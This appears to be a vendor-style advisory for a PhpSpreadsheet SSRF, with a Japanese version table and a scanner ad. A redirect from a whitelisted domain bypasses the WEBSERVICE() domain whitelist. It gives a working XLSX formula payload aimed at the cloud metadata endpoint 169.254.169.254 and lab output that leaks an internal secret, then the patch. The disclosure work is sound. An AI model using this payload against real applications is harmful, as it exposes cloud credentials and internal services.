| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| phpoffice/phpspreadsheet | ≥ 2.0.0, < 2.1.18≥ 2.2.0, < 2.4.7≥ 3.3.0, < 3.10.7≥ 4.0.0, < 5.8.1< 1.30.6 | 2.1.182.4.73.10.75.8.11.30.6 |
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];
PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);
Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
Prerequisites:
$spreadsheet->setDomainWhiteList([...]) with at least one domain$cell->getCalculatedValue() on uploaded XLSX filesAttack steps:
Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンCraft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
whitelisted-domain.com against the whitelist — passesfile_get_contents("http://whitelisted-domain.com/redirect?url=...")file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validationLab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
http://169.254.169.254/This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios:
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];
Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.